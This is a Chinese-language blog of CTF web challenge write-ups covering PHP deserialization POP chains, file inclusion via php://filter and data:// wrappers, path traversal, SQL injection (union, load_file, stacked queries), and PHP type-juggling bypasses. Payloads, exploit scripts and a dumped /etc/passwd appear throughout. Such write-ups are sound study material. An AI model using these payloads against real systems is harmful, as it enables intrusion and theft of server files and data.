乱七八糟的web题
乱七八糟的web题
[MRCTF2020]Ezpop
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
拿到一个php反序列化的题 习惯上先把每个类定义一遍
$mod = new Modifier;
$show = new Show;
$test = new Test;
接着找哪里可以被利用得到flag
public function append($value){
include($value);
}
可以通过include()包含来获得flag 其中include()中的参数来自append()
public function __invoke(){
$this->append($this->var);
}
而append()中的参数来自于Modifier类中的var 但要注意源码中使用protected来定义的var 并不能直接通过$mod->var=flag.php修改 可以在源代码中直接修改
protected $var = "flag.php";
接着需要使__invoke()被调用
__invoke() //调用函数的方式调用一个对象时的回应方法
这里有个小tips 简单的题目中会用调用参数的类型来为参数命名 即此处的$function
public function __get($key){
$function = $this->p;
return $function();
}
所以只要把Test类中的p改为Modifier类 即可自动调用其中的__invoke()方法 所以构造:
$test->p = $mod;
接着再来触发__get()
__get() //读取不可访问属性的值时会被调用
public function __toString(){
return $this->str->source;
}
这里的str->source就可以用来触发__get()
$show->str = $test;
个人理解:将str=$test后运行str->source 因为Test类中并不存在source 所以不能被访问 即触发Test中的__get()
__toString() //类被当成字符串时的回应方法
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
然后找到唯一一处有字符串的地方来触发__toString()
$show->source = $show;
而__construct()在我们之前定义类的时候就被自动调用了
最后梳理一下整体思路:
创建类 -> Show::__construct() -> Show::__toString() -> Test::__get() -> Modifier::__invoke -> Modifier::append()
附图解:
运行得到payload为
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:8:"flag.php";}}}
但提交后没有回显 进行url编码后再次提交

运行flag.php会显示help me find flag 而题目源码又提示flag is in flag.php 所以需要进一步去flag.php的源码中找 需要用到文件包含中的php伪协议 正好对应没用过的__wakeup()方法 所以将一开始的var改为php://来查看源码
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
最后提交payload 将得到的base64编码进行解码得到flag

[攻防世界]php_rce
ps:随手点开的一道题 但是这个入还没怎么研究过框架 纯纯脚本小子来的
然后还因为写了wp准备上传时 在vscode里点击了覆盖 结果才知道是旧版的覆盖新版(仇恨+10086) 没错这是我又写了一遍的wp 我真的没招了

题目已经把这道题的框架甩脸上了 所以打开thinkphp的工具 进行漏洞扫描

根据题目的名字 这道题需要我们利用rce漏洞得到flag 所以我们进入到命令执行模块 并将版本改为ThinkPHP 5.0.22/5.1.29
在命令执行框中输入find / -name "flag"来查找flag的路径 可是报错了

再输入ls查看本目录下的文件 可惜没有我们想要的flag 尝试输入cd ..查看上级目录 结果也报错
所以这题应该是对空格进行了过滤 接着将find / -name "flag"中空格替换成%20
返回了flag的路径/flag 接着用cat查看即可得到flag
在漏洞检测中还显示了一个文件包含漏洞 先打开工具提供的payload 显示
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/falseps:
/etc/passwd为Linux系统的用户列表 常用来验证文件将后面的file改为我们得到的flag的地址
/fag也可以得到flag
[HCTF 2018]WarmUp
接上题 这是我不小心误点覆盖重新写的第二题
打开页面只有一个大大的滑稽 没有思路 utrl+U查看源码 发现了被注释掉的source.php
<?php
highlight_file(__FILE__); // 用彩色高亮显示当前文件的代码(像展示门卫规则)
class emmm // 创建一个叫"emmm"的门卫班级
{
public static function checkFile(&$page) // 门卫的检查方法(&$page表示直接检查你手里的玩具名称)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; // 白名单:只允许两个玩具
if (! isset($page) || !is_string($page)) { // 如果玩具名称不存在,或者不是文字(比如数字)
echo "you can't see it"; // 说:你看不到它!
return false; // 拒绝放行
}
if (in_array($page, $whitelist)) { // 如果玩具名称直接在白名单里
return true; // 放行!
}
$_page = mb_substr( // 截取玩具名称的一部分(从开头到第一个?符号)
$page,
0, // 从第0个字开始
mb_strpos($page . '?', '?') // 找到?符号的位置(如果没?就当最后是?)
);
if (in_array($_page, $whitelist)) { // 截取后如果在白名单里
return true; // 放行!
}
$_page = urldecode($page); // 把玩具名称的密码翻译成普通文字(比如%20变成空格)
$_page = mb_substr( // 再次截取?符号前的部分
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { // 翻译+截取后如果在白名单
return true; // 放行!
}
echo "you can't see it"; // 以上都不行?拒绝!
return false;
}
}
// 主程序:检查你想玩的玩具
if (! empty($_REQUEST['file']) // 1. 你必须告诉门卫想玩哪个玩具(file参数)
&& is_string($_REQUEST['file']) // 2. 玩具名必须是文字
&& emmm::checkFile($_REQUEST['file']) // 3. 门卫检查通过
) {
include $_REQUEST['file']; // 拿出对应的玩具给你玩
exit; // 玩完就结束
} else { // 如果不满足以上条件
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; // 展示一张小黄鸭图片(安慰你)
}
?>
打开后借助ai审计这段代码
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]
看到白名单中还存在另一个文件hint.php 访问后得到了flag的文件名

尝试直接访问?file=/ffffllllaaaagggg 返回"you can't see it"外加滑稽图片 说明主程序的if判断中的emmm::checkFile($_REQUEST['file']返回了false
审计代码发现 只有三处能使checkfile返回true
一:传入的file不做任何处理 检查是否在白名单
二:截取file的开头到第一个
?检查是否在白名单三:将file进行url解码后 再次截取
?符号前的部分 检查是否在白名单
我们可以通过添加? 使前半段白白名单之中就可以了 所以构造payload
?file=hint.php?/ffffllllaaaagggg
页面没有再显示"you can't see it" 但也没有任何回显(就连滑稽都没了) 说明emmm::checkFile($_REQUEST['file']返回了true但没正确包含到flag 所以要在/ffffllllaaaagggg前不断的添加../来遍历上级目录(或者直接加很多../使返回根目录)
?file=hint.php?../../../../../../../../ffffllllaaaagggg
最终得到flag
提问:上传的payload中也有文件
hint.php但是却没被包含
当我们在第一个文件夹后加上
?../不管前者是否存在会被忽略 从而访问同级目录下的后者
[攻防世界]unserialize3
水一道简单题
打开反序列化题目 先把题目给的代码复制到编译器上 并补全
<?php
class xctf
{
public $flag = '111';
public function __wakeup()
{
exit('bad requests');
}
}
并且提示了要传入code 即利用code注入反序列化查看flag
先定义一下类 再直接进行序列化
$x = new xctf();
echo serialize($x);
直接提交序列化的结果试试 显示bad requests 即__wakeup()被执行
魔术方法:__wakeup() //执行unserialize()时,会先调用这个函数
绕过姿势:CVE-2016-7124:当对象属性数量大于实际数量时,
__wakeup()不会执行
所以直接将得到的payloadO:4:"xctf":1:{s:4:"flag";s:3:"111";}前的1改为2 或利用字符替换 因为有些题中不是用public来声明对象 从而导致空字符存在
- public,没有变化
- private,会变成 %00对象名%00属性名
- protected,会变成 %00*%00属性名
$x = new xctf();
$str = serialize($x);
$str = str_replace('1:{','2:{',$str);
echo $str;
提交payload得到flag
[网鼎杯 2018]Fakebook
法一:sql注入
进入靶机后有两个按钮login和join 先点击login用万能密码尝试登录
username:admin passwd:1' or 1=1--+
无法登录后再点击join 随便添加数据 点击用户名进入后发现url中多了一段?no=1
第一反应是越权 尝试传入?no=0和?no=2查看其他数据 发现不存在 那大概率就是sql注入了 再传入?no=2-1发现和?no=1回显相同 即为整型注入 不需要闭合
再用group by判断表格列数为4列
group by 10--+ //报错
group by 5--+ //报错
group by 3--+ //正常回显
group by 4--+ //正常回显
(ps:因为一般
group by被禁用了 那order by也会被禁用)
将1改为-1 防止正常回显覆盖查询结果 再用union select 1,2,3,4来查看回显位置 但是显示no hack ~_~
因为之前的group by 都没有报错 所以先尝试大小写绕过 再尝试空格绕过 最后发现是union和select之间的空格被过滤 替换成/**/后 只有2的位置正常回显
然后可以利用load_file()查看flag 但是需要flag的路径和root权限
用user()查看权限 root@localhost
用dirsearch扫描其他目录

看到/flag.php和/view.php在同一个目录下 而报错部分给出了路径/var/www/html/view.php 所以flag的路径/var/www/html/flag.php
所以直接构造payload
?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+
可是没有任何回显 尝试用group_concat()把查询信息放到一行显示出来 但是也没回显
参考别的博主的wp 发现flag在注释里 ctrl+U得得flag
[校内战队选拔赛]Happygame
是我这大半辈子的意难平啊!!!
<?php
class Happy{
public $str;
public function getString(){
return "maybe you can find something in somewhere";
}
public function __toString(){
$a = $this->str->des;
return "heihei";
}
function __destruct(){
$this->str = "123";
}
}
class Ctf{
public $file="";
public $temp;
public $rand;
public function getfile(){
return "nothing";
}
function __destruct(){
$this->rand = rand(1,1000000);
if($this->rand === $this->temp){
if (preg_match("/php|flag/i", $this->file)) {
die("hacker");
}
}
}
}
class Game{
public $name = "";
private $x="";
public function __call($name, $arguments) {
$this->getflag($this->x);
}
function getflag($x){
show_source($x);
}
public function des(){
return "a class";
}
public function __get($name){
return $this->name($name);
}
}
//show_source(__FILE__);
function filter($str){
return str_replace("php", "", "$str");
}
if (isset($_GET['pop'])){
echo "ok";
unserialize(filter($_GET['pop']));
}
我真的很习惯先把每个类定义一遍 这样拿到题后不会显得我啥也没干
$happy = new Happy();
$ctf = new Ctf();
$game = new Game();
接下来找可以获取flag的函数开始反推
show_source($x);
show_source() //用于显示指定文件源码,并对其进行语法高亮 类似
highlight_file()
只要将$x命为flag就可以 但是注意一下主函数中filter($_GET['pop'])调用的filter函数
function filter($str){
return str_replace("php", "", "$str");
}
str_replace(a, b, str) //将str中的a替换为b
这个函数会删掉我们flag.php中的php 可以参考文件上传中的双写绕过 因为函数只会删除一次连起来的php 所以在后缀中插入一个php 即private $x="flag.pphphp";
function getflag($x){
show_source($x);
}
接着使getflag()被调用 在__call()中主动调用了getflag()
public function __call($name, $arguments) {
$this->getflag($this->x);
}
__call() //在对象中调用一个不可以访问方法时调用
接着找到可以触发__call()的地方 在__get()中的name()并没有被定义
public function __get($name){
return $this->name($name);
}
这里我的思路是:因为被调用的__call()在Game类中 所以构造
$game -> name = $game;
然后继续使外函数被调用
__get() //读取不可访问属性的值时会被调用
public function __toString(){
$a = $this->str->des;
return "heihei";
}
其中的des没有被public或其他的定义 需被调用的__get()在Game类中 所以构造
$happy -> str = $game;
继续使外函数被调用
__toString() //类被当成字符串时的回应方法
我的第一反应是找类似"str".function."str"的结构 利用.拼接字符串 但是没有
补充:
preg_match()用于执行一个正则表达式匹配 在找到第一个匹配后即停止搜索 因此返回值只可能是 1(匹配成功)、0(未匹配) 或 false(出错)语法:
preg_match("/\bstr1\b/i","str2")检测str2中是否含有str1
/i:不区分大小写
\b:表示单词边界eg.
if (preg_match("/\bweb\b/i", "PHP is the web scripting language.")) { echo "匹配到独立单词 web"; } //正常输出:"匹配到独立单词 web" //若将str2改为"PHP is the website scripting language." 等其他含有web连续三个字母的单词 就没有回显
所以这里利用preg_match("/php|flag/i", $this->file)来触发__toString() 构造
$ctf -> file = $happy;
再看到preg_match()的部分 注意到正则匹配会过滤掉flag 所以再优化$x = "fllag.pphphp"
function __destruct(){
$this->rand = rand(1,1000000);
if($this->rand === $this->temp){
if (preg_match("/php|flag/i", $this->file)) {
die("hacker");
}
}
}
而__destruct()函数会自动调用 但是想使用preg_match()还需要先满足if($this->rand === $this->temp) 所以直接构造
$ctf -> rand = &$ctf -> temp;
将其序列化后输出
O:3:"Ctf":3:{s:4:"file";O:5:"Happy":1:{s:3:"str";O:4:"Game":2:{s:4:"name";r:3;s:7:"Gamex";s:12:"fllag.pphphp";}}s:4:"temp";N;s:4:"rand";R:6;}
注意 当我们提交fllag.pphphp后 filter()函数会将php去掉 即字长变为9 利用str_replace()手动将12改为9 并继续url编码
$str = serialize($ctf);
$str = $str.str_replace('12:"fllag.pphphp"','9:"fllag.pphphp"',$str);
echo urlencode($str);
所以结合起来
$happy = new Happy();
$ctf = new Ctf();
$game = new Game();
$game -> name = $game;
$happy -> str = $game;
$ctf -> file = $happy;
$ctf -> rand = &$ctf -> temp;
//echo serialize($ctf);
$str = serialize($ctf);
$str = $str.str_replace('12:"fllag.pphphp"','9:"fllag.pphphp"',$str);
echo $str;
附学长的代码:
$a = new Ctf();//new一个a对象在Ctf::__destruct()魔术方法
$a -> rand = &$a -> temp;//使用Ctf类里两个对象的值相等 绕过rand函数的随机数判断
$a -> file = new Happy();//preg_match 会把对象转为字符串 触发Happy::__toString()方法
$a -> file -> str = new Game();//__toString()方法访问 $this->str->des读取des的属性
但是des没有属性 因此会触发 Game::__get() 方法
$a -> file -> str -> name = "hhh";//访问name属性相当于调用了 -> hhh()这个不存在的方法
触发 Game::__call() 执行 show_source($x);函数
$b = serialize($a);//序列化对象$a
$c = str_replace('s:'.strlen("fllag.pphphp").':"f',
's:'.strlen("fllag.php").':"f',$b);//替换字符字数 直接传序列化后的值
s:12:"fllag.pphphp" 但是会被过滤为 fllag.php 此时应该为s:9:"fllag.pphphp"
echo urlencode($c);
[攻防世界]web2
源码贴脸上的题直接审计 但是先补充一下不认识的函数
strrev(string) //函数反转字符串
substr(string,start,length) //函数返回字符串的一部分
ord(c) //c--字符 返回ascii码对应十进制数
chr(ascii) //从指定 ASCII 值返回字符
str_rot13(string) //函数对字符串执行 ROT13 编码
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){ //传入明文M
$_o=strrev($str); //反转明文M'
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){ //定义指针i从0开始到M'最后一位
$_c=substr($_o,$_0,1); //令c为M'第i位(感觉这就是唬人来的)
$__=ord($_c)+1; //令_为c的后一位字符
$_c=chr($__); //令c'为_
$_=$_.$_c; //拼接
}
return str_rot13(strrev(base64_encode($_))); //将最终的结果进行base64编码--字符串反转--rot13加密
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
举个栗子:假设明文为flag
flag --> galf
i=0 c->g c'->h ans:h
i=1 c->a c'->b ans:hb
i=2 c->l c'->m ans:hbm
i=3 c->f c'->g ans:hbmg
理解后开始写解密脚本 因为懒得去查其他语言中对字符串操作的函数 所以用的php
<?php
//$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$miwen="n1mYotDfPRFRVdEYjhDNlZjYld2Y5IjOkdTN3EDNlhzM0gzZiFTZ2MjO4gjf"; //不知道php中rot13解码的函数是啥 所以先手动进行了一下解码(随便找找解码网站就行)
function decode($str){
$str = base64_decode(strrev($str)); //按照加密中的return 反向解密 所以注意括号内外的函数 先执行最里面的括号
for ($i=strlen($str)-1; $i>=0; $i--){ //加密中从前往后拼接 所以从后往前解密
$c = substr($str, $i, 1); //提取第i位
$_ = ord($c)-1; //ascll码-1
$c = chr($_);
$ans = $ans.$c; //拼接 但是这里有个细节 最后一位解密完后本应该放回最后一位 而我这里直接在ans后拼接 即放在首位 恰好反转了字符串 抵消了加密中一开始的strrev()
}
echo $ans;
}
decode($miwen);
运行后得到flag

[江苏工匠杯]file_include
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
第一反应是想查看check.php中是怎么过滤payload的 但是访问后无回显
这道题的题名指出考点是文件包含 翻笔记看到可以利用伪协议读取文件 所以构造payload
filename=php://filter/convert.base64-encode/resource=flag.php
显示do not hack 很显然被过滤了 然后控制变量法 依次尝试删除 发现是.base64-encode被过滤 尝试用编码进行绕过 但是base64也被过滤
php://filter的各种过滤器_php过滤器转换器常见-CSDN博客
参考这篇文章来进行绕过
convert.iconv.*:
使用方法:
convert.iconv.<input-encoding>.<output-encoding> or convert.iconv.<input-encoding>/<output-encoding>
<input-encoding>和<output-encoding>就是编码方式,有如下几种:UCS-4* UCS-4BE UCS-4LE* UCS-2 UCS-2BE UCS-2LE UTF-32* UTF-32BE* UTF-32LE* UTF-16* UTF-16BE* UTF-16LE* UTF-7 UTF7-IMAP UTF-8* ASCII*具体看官网:PHP: 支持的字符编码 - Manual
可以利用bp来进行爆破

爆破完成后 找到返回长度最长的几个包 查看响应得到flag
还可以利用爆破得到的payload来查看check.php

[CTFSHOW-CS2026]热身签到
偷偷藏一道密码题
拿到这道题一开始就想着丢到随波逐流里面一键解码 但是啥也没解出来
编码题一般都是两个字符为一组 而这里字符数正好为偶数 所以符合猜想 但是又没有A~F这样的字母 不是熟悉的十六进制(然后就不会啦)
后面问ai找思路 因为其中有8及以上的数字 可以排除八进制 只剩下十进制了 所以这里需要十进制转ASCII码
编写一个简单的脚本在每组中间插入空格
miwen = "54515552545455515456547055555566545654495548554855575370515051485150515453705555545755525456537054515551515051485150515450495568"
for i in range(0,len(miwen)):
if i%2 == 0:
print(" ",end="")
print(miwen[i],end="")
再将结果放到随波逐流转换成ASCII码
63746673686F777B68617070795F323032365F776974685F637332303236217D
又是一对字符 但是这次出现了字母 且字符数还是偶数 可以判断为十六进制
用上面脚本在每组间添加空格 然后十六进制转ASCII码得到flag
ctfshow{happy_2026_with_cs2026!}
[CTFSHOW-CS2026]happy2026
<?php
error_reporting(0);
highlight_file(__FILE__);
$happy = $_GET['happy'];
$new = $_GET['new'];
$year = $_GET['year'];
if($year==2026 && $year!==2026 && is_numeric($year)){
include $happy[$new[$year]];
}
很短的一段代码 满足条件$year==2026 && $year!==2026 && is_numeric($year) 再利用包含读取flag
依次解析每个条件
$year==2026:弱类型比较 只需要“长得一样” 即 2026="2026"
$year!==2026:要使year不等于整数2026
is_numeric($year):is_numeric() 函数用于检测变量是否为数字或数字字符串 即只判断组成元素是否长得是数字 不在意类型
在 PHP 中,通过
$_GET获取的所有参数都是字符串类型,不管你在 URL 中写的是数字还是其他内容。
所以构造payload
?year=2026&new[2026]=key&happy[key]=flag.php
但是没有回显 要利用文件包含中的php伪协议来读取
?year=2026&new[2026]=key&happy[key]=php://filter/convert.base64-encode/resource=flag.php
base64解码得到flag
[攻防世界]Web_php_include
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
因为是while循环来去除php:// 所以一开始想的双写绕过失效 尝试利用大小写绕过
?page=PhP://filter/convert.base64-encode/resource=flag.php
可是还是没回显 用dirsearch扫描尝试找到flag的路径

发现甚至没有疑似flag的文件存在 可能flag文件名太奇怪 爆破不出来
接着用data://或php://input伪协议达到执行php代码的效果 查看有什么文件
?page=data://text/plain,<?php system("ls");?>

回显了一个奇奇怪怪的文件名 然后cat fl4gisisish3r3.php 但是又突然没有回显了 通常在这个情况下 ctrl+U注意一下源码 即可得到flag
做完之后再多看两眼 试试用之前php://大小写绕过的方式查看fl4gisisish3r3.php 也能得到flag
[XCTF]ics-06
进入靶场后 没有什么可以交互的地方 都点了一遍只有报表中心可以进入 进入后选择日期范围也没有用
此时注意到url中的?id=1 尝试是不是sql注入 分别测试?id=1' or 1=2--+ ?id=-1 ?id=1000 都没有任何反应 还是不死心跑了一遍sqlmap也没用
看了wp 要注意一开始的题目描述云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。 因为数据被删除了 所以尝试的很多id都没数据 但是提示了有一处留下了痕迹 即有一个id有数据
打开bp 利用intruder进行爆破

爆破完成后 长度最长的那一个payload有数据回显 得到flag
[攻防世界]inget
打开靶场显示Please enter ID,and Try to bypass 需要输入id
尝试用get传入?id=1没有反应 改成其他数字也没反应 查了一下wp 考点是sql注入 直接用万能密码?id=1' or 1=1--+即可得到flag
ps:如果空格被过滤 可以用%20或/**/绕过
[强网杯]supersqli
之前做过但没做出来 结果过了好久才回来做的题
sql注入题先测试注入类型 发现inject=2和inject=2-1的回显相同 说明未被运算 为字符型 然后丢sqlmap跑了一下

虽然爆出了布尔盲注 而且找到了supersqli的库名 但是却没有表名(???) 不能跑脚本那就手注呗
1.正确闭合字符型注入
?inject=1'2.group by确定查询列数
?inject=1' group by 2--+3.union联合注入
?inject=1' union select 1,database()--+
但是到第三步的时候就出问题了

select被禁用了 所以联合查询、报错注入、布尔盲注、时间盲注都不能使用(因为还没学堆叠注入 所以参考博客上大佬的wp)
?inject=-1';show databases--+
利用管道符分割命令 把查询数改为-1 使只查看databases回显内容

先查看最可疑的库ctftraining
?inject=-1';show databases;show tables from ctftraining--+

再查看FLAG_TABLE的列名
?inject=-1';show databases;show tables from ctftraining;use ctftraining;show columns from FLAG_TABLE--+
显示not_flag flag不在这o.O?
再重新看看题目名supersqli的库 同理一步步查看到列名
?inject=-1';show databases;show tables from supersqli;use supersqli;show columns from `1919810931114514`--+
注意:在MySQL中遇到数字的表名 需要使用反引号包含

虽然出现了flag 但是并没有答案 需要用到HANDLER语句
HANDLEP语法结构:
1.handler table_name open [as alias_name(别名)] //打开表 获取操作权限[as alias_name(别名)]可省略
2.handler alias_name read first //读取第一行
3.handler alias_name read next //读取当前行的下一行
4.handler alias_name read prev //读取当前行的上一行
?inject=-1';show databases;use supersqli;show tables;handler `1919810931114514` open;handler `1919810931114514` read first--+
得到flag
[江苏工匠杯]easyphp
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
$a = $_GET['a'];
$b = $_GET['b'];
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
?>
看到最底下 要key1和key2同时为1时 才可以得到flag
1.看到key1所在的位置
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
补充:intval() //函数用于获取变量的整数值
实例:
<?php echo intval(42); // 42 echo intval(4.2); // 4 echo intval('42'); // 42 echo intval('+42'); // 42 echo intval('-42'); // -42 echo intval(042); // 34 echo intval('042'); // 42 echo intval(1e10); // 10000000000 echo intval('1e10'); // 10000000000 echo intval(0x1A); // 26 echo intval(42000000); // 42000000 echo intval(420000000000000000000); // 0 echo intval('420000000000000000000'); // 2147483647 echo intval(42, 8); // 42 echo intval('42', 8); // 34 echo intval(array()); // 0 echo intval(array('foo', 'bar')); // 1 ?>
先审计第一条if语句(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)
-
isset:a被输入
-
intval & strlen:在补充的实例中有一组很明显的数据
intval('1e10')=10000000000用很少的长度 但是数值很大 尝试更改e前后的数字 发现是科学计数法 所以令a=1e7即可满足intval($a) > 6000000
成功回显Emmm...再想想 说明满足的这一条if条件
再审计第二条if语句(isset($b) && '8b184b' === substr(md5($b),-6,6))
- isset:b被输入
- '8b184b' === substr(md5($b),-6,6):b的MD5值最后六位是'8b184b'
首先想的是将'8b184b'进行解密 在让b等于解密后的值来满足条件 但是好像这条思路不行 第一'8b184b'可能不是常见密文 第二当一个数加密后可能没这么短
看大佬wp 利用MD5网站解密的思路 利用撞库 爆破来得到具体值 爆破脚本:
import hashlib
for i in range(100000):
md5 = hashlib.md5()
md5.update(str(i).encode())
q = md5.hexdigest()
if q[-6:] == '8b184b':
print(i)
//i=53724
再传入验证一下 回显no说明前两条if条件都已满足 key1=1
2.看到key2所在的位置
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
json_decode() //函数用于对 JSON 格式的字符串进行解码,并转换为 PHP 变量
实例:
<?php $json = '{"a":1,"b":2,"c":3,"d":4,"e":5}'; var_dump(json_decode($json)); var_dump(json_decode($json, true)); ?>执行结果:
object(stdClass)#1 (5) { ["a"] => int(1) ["b"] => int(2) ["c"] => int(3) ["d"] => int(4) ["e"] => int(5) } array(5) { ["a"] => int(1) ["b"] => int(2) ["c"] => int(3) ["d"] => int(4) ["e"] => int(5) }
所以c的格式应该为{"m":xxx,"n":xxx}
审计第一条if语句(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022)
- ! is_numeric:不能是纯数字或数字字符串
- c["m"] > 2022
所以令c["m"]="2023a" 大于2022同时绕过纯数字检查
再看第二条if语句(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0]))
- is_array:c["n"]是数组 即c["n"]=[xxx,xxx,xxx]
- count($c["n"]) == 2:数组长度为2
is_array($c["n"][0]):c["n"][0]是数组 即c["n"]=[[xxx,xxx],xxx]
接着再往下分析
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
array_search() //函数用于在数组中搜索某个值,并返回对应的键名。如果找不到该值,则返回 false 注意:函数底层使用
==进行弱类型匹配 eg."hacker" == 0 -> True
所以需要让array_search("DGGJ", $c["n"])不返回false 不然就会输出no...后直接结束
由补充 "DGGJ"==0 所以只需要令c["n"]=[[xxx,xxx],0]
构造最后的payload 得到flag
?a=1e7&b=53724&c={"m":"2023a","n":[[0,0],0]}
[XCTF]Cat
涨芝士了(都是没见过的新东西) 剧透:%80报错 @前缀

打开题目 提示输入域名 猜考点应该是ssrf 所以输入127.0.0.1 有ping的回显
但是按照ssrf的做题思路 接下来应该利用管道符拼接命令执行 但是尝试了| & && ; 绕过都失败了 显示非法url(这真的到知识盲区了....)学习学习大佬的wp
很多系统或协议在处理 URL 编码时,默认只支持 ASCII 范围内的字符编码(%00-%7F)。而%80对应的128属于 “非 ASCII 字符”,但它又不符合常见的多字节编码规则(比如 UTF-8 中,单字节不能是80,多字节的格式也有严格定义)。因此,当系统解析到%80时,会认为这是一个无效的编码,从而报错
所以输入一个宽字符%80 从而引起报错

从尾部返回内容中发现网页的框架为Django
Django 的 DEBUG 模式会在报错页面中直接暴露服务器路径,例如:
1.Python Path:报错信息中的Python Path字段直接列出了 Python 解释器的搜索路径。
2.代码文件路径:错误堆栈中的代码文件路径(如/opt/api/dnsapi/views.py)直接指向项目内的文件位置。
3.数据库路径:在DATABASES配置中,若使用 SQLite,数据库文件路径会直接显示。
4.Django 的 BASE_DIR 配置:Django 项目的settings.py中,BASE_DIR变量默认通过os.path.dirname(os.path.dirname(os.path.abspath(file)))获取项目根目录。若 DEBUG 模式开启,该路径可能通过报错信息或模板调试泄露。
所以先找到databases的路径 通过访问得到数据库文件路径
ctrl+F搜索关键词databases得到路径/opt/api/database.sqlite3 但是并不能通过伪协议来读取
比赛的时候有个提示:
RTFM of PHP CURL===>>read the fuck manul of PHP CURL???
考点为php curl
CURL参数有一个关键特性,用于在 POST 请求中附带文件:
早期方式(PHP 5.5.0 前):在文件名前加@前缀并使用完整路径,即可指定要上传的文件。还可在文件名后以;type=mimetype格式指定文件的 MIME 类型。示例:"avatar=@/var/www/uploads/head.jpg;type=image/jpeg"
PHP 5.5.0 及以后: @前缀被废弃,需改用CURLFile类来指定文件(更安全、规范)。
示例(PHP):
$file = new CURLFile('/var/www/uploads/head.jpg', 'image/jpeg', 'head.jpg'); curl_setopt($ch, CURLOPT_POSTFIELDS, array('avatar' => $file));
所以添加前缀@ 构造payload@/opt/api/database.sqlite3 通过搜索关键词flag ctf来找到flag(这我真的没招了啊啊啊啊)
[攻防世界]easyupload
本来想在舒适圈里放松一下的...... 竟然还是找了wp
拿到文件上传题 先把准备好的几个图片马挨个上传 看哪种方式可以绕过
